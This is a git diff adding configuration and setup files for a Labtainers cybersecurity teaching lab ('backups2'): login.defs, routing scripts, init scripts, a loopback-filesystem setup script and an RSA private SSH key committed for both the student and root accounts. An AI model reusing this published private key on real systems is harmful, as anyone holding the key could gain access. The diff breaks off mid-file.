does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/rc.local new file mode 100755 index 000000000..fe23ece91 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +route delete default + +route add -host 172.25.3.3 gw 172.25.2.4 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/sbin/faux_init new file mode 100755 index 000000000..1d6b3cedc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_bin/fixlocal.sh new file mode 100755 index 000000000..6873c3fe9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/rc.local new file mode 100755 index 000000000..084fe248d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +route delete default + +route add -host 172.25.0.2 gw 172.25.2.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/sbin/faux_init new file mode 100755 index 000000000..a0bfc169e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router2/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) + +/usr/sbin/rsyslogd -n & +/etc/init.d/mynotify.sh start +/etc/rc.local diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/.ssh/id_rsa b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/.ssh/id_rsa new file mode 100644 index 000000000..a725765f8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/.ssh/id_rsa @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA3Qg0YFwtvA/W4ED8uCaT33yIKcuZXHyJTgHKnVZ/PqtQQI86 +nrMgH5dPlxrXUr0fnK/CEY1zrBIaHZDGxvLI63CfQGQjsZsSKcHQ0rN3nOb+zbq0 +R617nIZ118yOvB5PVZRkRM8c4v3HFt2sV3GWFA0Lsyr38fD6eoS3KwJSeQUBy9gz +QJiFc71XMZAft11u8yvrH4JONp5WcTp5N2EWvzM9W+wPFiZXTRP7r1McWTfoQ1cX +zhalmHzAtJav1IcvtG4asaEdejJZJjVGXfFmeJ6hnlZ/p2WdRXiN3oh+jiJej8fK +LTebNXJjaCR5KKYXn1dp20FWUnovAE2vfFBecwIDAQABAoIBAQDBUbO9s+GsYo4l +hbGDvvoGtfzB0XlJEwNkXty/0C9quJtwW9WBiFnIR6ctGiTKEO/dMzwh7f4Fua9t +vHqe9yoUAmTHBM7TQDYan5HtN1qeuMqTVYDoUCuVM2VOYXNVxYzN5QPtytgRELVY +onlh4c7Jqr9Y7XP/AC2TixBJZbaMcNvpuh3fmARx9aob4cP1JTn4IiKs1KdY3ukB +wpwLzPeToG7bQ9u2tGEiknyYo3Caeu92yQLxuvO7WWbgjB+rSGZ4LCQLJM0E3//X +o/cO8CjN5rw8DsfXZiwrzaLs83ahhs/Cp86Jfr7J0r6l8IJbHbfulh0qME+Dc1Zr +Bdw36qlBAoGBAPt3equ3vviAZYFdeNdPj6lknBsboxgxVMU0jwKtefsKEJXkkEqW +/attp5PBNf8ewR2+7DG/Jny0n6K3R2VwrkT+Xe+1hMey8NkZ5gd+iFC8MHMpMm86 +UKnR3RS0dMlSeBSE6Wr5tIA+PBoTvdEBmz3mVsh/k9m3sutJtew3dbyvAoGBAOEE +ROns3YjC66opEtFA2ofvjF646juR2p6h6QjJGm+iBSqcnKgLd5kVdzMuCH4rzJqh +5F7PmX3u6rhUwvH2etV8Rv5TknSIosUUHgQ6YXCj0KRHty4EnlBf4G+4ZMwc/DXr +m4RjuRdIdBiOZLC/P6UJ3dAyotTyOxchZ3XRYdN9AoGAN234vk08bS5wMXnXHy7M +bfxdZKRM6RJGq0mQlHiEwM9RJJlDLQ3nUJhVLf6S1m+DBfmFutl1tFtkLMvVkwip +gU/IiQQsBpDtAg3xZImBpro0u83C7j2edjBqWRwF+jKRgYRip0/vd61ANkdPufhu +rdBOJNfqUT1q1O5kiXMYIsUCgYB4jDb3M4SDjhl+8b45CIuKo9UJsfsaqsr6jTcx +E7vr7lriN0Dd7jbGdm+Dpbe7EG/ur6iO+pz6kJKC6jX+NtQbpxbJjbA6ajD5cAuc +rEIjfD98o0cJikPeP18XuyuVBjpAENciF+LDDHfV6AMdhXftTNnefiIp/xOVErpA +rknAaQKBgEr0m3iLDe7akf+bUFGHiXoIGeLq4RgUdE2sAOwRHTMP1G0/rLlNVIWC +lvrwmLF+U3tYJPd8ZMJcwh1vao6YWdRFbrcLFitqEqdGWjuamLsJl36rmK5Ac03f +uqW7etpZ8EDDRM5ZMLNrXJdeCy2BCczjncj1o9AfXMyevPoYYbY6 +-----END RSA PRIVATE KEY----- diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/.ssh/id_rsa.pub b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/.ssh/id_rsa.pub new file mode 100644 index 000000000..dbb5a69d7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/.ssh/id_rsa.pub @@ -0,0 +1 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdCDRgXC28D9bgQPy4JpPffIgpy5lcfIlOAcqdVn8+q1BAjzqesyAfl0+XGtdSvR+cr8IRjXOsEhodkMbG8sjrcJ9AZCOxmxIpwdDSs3ec5v7NurRHrXuchnXXzI68Hk9VlGREzxzi/ccW3axXcZYUDQuzKvfx8Pp6hLcrAlJ5BQHL2DNAmIVzvVcxkB+3XW7zK+sfgk42nlZxOnk3YRa/Mz1b7A8WJldNE/uvUxxZN+hDVxfOFqWYfMC0lq/Uhy+0bhqxoR16MlkmNUZd8WZ4nqGeVn+nZZ1FeI3eiH6OIl6Px8otN5s1cmNoJHkophefV2nbQVZSei8ATa98UF5z student@server diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh new file mode 100755 index 000000000..148d03cec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/fixlocal.sh @@ -0,0 +1,33 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +# Create a disk image and make one partition on it. +# Then associate it with the next unused loopback device, create +# a file system on it, and mount it. Then populate it with stuff. +# +chmod 0700 $HOME/.ssh +chmod 0600 $HOME/.ssh/id_rsa +sudo chmod 0700 root/.ssh +sudo chmod 0600 root/.ssh/id_rsa +img_dir=/vfs +img_fid=/vfs/myfs.img +sudo mkdir $img_dir +sudo dd if=/dev/zero of=$img_fid bs=1k count=100k +sudo parted -s /vfs/myfs.img mklabel bsd mkpart ext2 1 100 +next=$(sudo losetup -f) +if [[ ! -f $next ]]; then + # make the device if it does not exist (using mknod) + count=${next:9} + echo "count is $count" + sudo mknod $next b 7 $count +fi +loopdev=$(sudo losetup -f /vfs/myfs.img -P --show) +sudo mkfs.ext2 $loopdev +sudo mkdir -p /lab_mnt +sudo mount $loopdev /lab_mnt +sudo mkdir /lab_mnt/usr +sudo cp -R /usr/bin /lab_mnt/usr/ +sudo cp /lab_mnt/usr/bin/who /lab_mnt/usr/bin/cheese + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/student_startup.sh new file mode 100644 index 000000000..64c7e460b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_bin/student_startup.sh @@ -0,0 +1,15 @@ +id | grep root >>/dev/null +result=$? +if [[ $result -eq 0 ]]; then +# +# Mount the loopback device on /lab_mnt if not already mounted. +# Need to first find which loopback device is mapped to /vfs/myfs.img. +# Take most recent one, there may be many. +# + df | grep lab_mnt >>/dev/null + mounted=$? + if [[ $mounted -ne 0 ]]; then + loopdev=$(losetup -l | grep /vfs/myfs.img | head -1 | awk '{print $1}') + sudo mount $loopdev /lab_mnt + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/etc/rc.d/rc.local new file mode 100755 index 000000000..be4846dc2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/etc/rc.d/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +route delete default + +route add -host 172.25.3.3 gw 172.25.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/root/.ssh/id_rsa b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/root/.ssh/id_rsa new file mode 100644 index 000000000..a725765f8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/root/.ssh/id_rsa @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA3Qg0YFwtvA/W4ED8uCaT33yIKcuZXHyJTgHKnVZ/PqtQQI86 +nrMgH5dPlxrXUr0fnK/CEY1zrBIaHZDGxvLI63CfQGQjsZsSKcHQ0rN3nOb+zbq0 +R617nIZ118yOvB5PVZRkRM8c4v3HFt2sV3GWFA0Lsyr38fD6eoS3KwJSeQUBy9gz +QJiFc71XMZAft11u8yvrH4JONp5WcTp5N2EWvzM9W+wPFiZXTRP7r1McWTfoQ1cX +zhalmHzAtJav1IcvtG4asaEdejJZJjVGXfFmeJ6hnlZ/p2WdRXiN3oh+jiJej8fK +LTebNXJjaCR5KKYXn1dp20FWUnovAE2vfFBecwIDAQABAoIBAQDBUbO9s+GsYo4l +hbGDvvoGtfzB0XlJEwNkXty/0C9quJtwW9WBiFnIR6ctGiTKEO/dMzwh7f4Fua9t +vHqe9yoUAmTHBM7TQDYan5HtN1qeuMqTVYDoUCuVM2VOYXNVxYzN5QPtytgRELVY +onlh4c7Jqr9Y7XP/AC2TixBJZbaMcNvpuh3fmARx9aob4cP1JTn4IiKs1KdY3ukB +wpwLzPeToG7bQ9u2tGEiknyYo3Caeu92yQLxuvO7WWbgjB+rSGZ4LCQLJM0E3//X +o/cO8CjN5rw8DsfXZiwrzaLs83ahhs/Cp86Jfr7J0r6l8IJbHbfulh0qME+Dc1Zr +Bdw36qlBAoGBAPt3equ3vviAZYFdeNdPj6lknBsboxgxVMU0jwKtefsKEJXkkEqW +/attp5PBNf8ewR2+7DG/Jny0n6K3R2VwrkT+Xe+1hMey8NkZ5gd+iFC8MHMpMm86 +UKnR3RS0dMlSeBSE6Wr5tIA+PBoTvdEBmz3mVsh/k9m3sutJtew3dbyvAoGBAOEE +ROns3YjC66opEtFA2ofvjF646juR2p6h6QjJGm+iBSqcnKgLd5kVdzMuCH4rzJqh +5F7PmX3u6rhUwvH2etV8Rv5TknSIosUUHgQ6YXCj0KRHty4EnlBf4G+4ZMwc/DXr +m4RjuRdIdBiOZLC/P6UJ3dAyotTyOxchZ3XRYdN9AoGAN234vk08bS5wMXnXHy7M +bfxdZKRM6RJGq0mQlHiEwM9RJJlDLQ3nUJhVLf6S1m+DBfmFutl1tFtkLMvVkwip +gU/IiQQsBpDtAg3xZImBpro0u83C7j2edjBqWRwF+jKRgYRip0/vd61ANkdPufhu +rdBOJNfqUT1q1O5kiXMYIsUCgYB4jDb3M4SDjhl+8b45CIuKo9UJsfsaqsr6jTcx +E7vr7lriN0Dd7jbGdm+Dpbe7EG/ur6iO+pz6kJKC6jX+NtQbpxbJjbA6ajD5cAuc +rEIjfD98o0cJikPeP18XuyuVBjpAENciF+LDDHfV6AMdhXftTNnefiIp/xOVErpA +rknAaQKBgEr0m3iLDe7akf+bUFGHiXoIGeLq4RgUdE2sAOwRHTMP1G0/rLlNVIWC +lvrwmLF+U3tYJPd8ZMJcwh1vao6YWdRFbrcLFitqEqdGWjuamLsJl36rmK5Ac03f +uqW7etpZ8EDDRM5ZMLNrXJdeCy2BCczjncj1o9AfXMyevPoYYbY6 +-----END RSA PRIVATE KEY----- diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/root/.ssh/id_rsa.pub b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/root/.ssh/id_rsa.pub new file mode 100644 index 000000000..80f612241 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/root/.ssh/id_rsa.pub @@ -0,0 +1 @@ +ssh-rsa 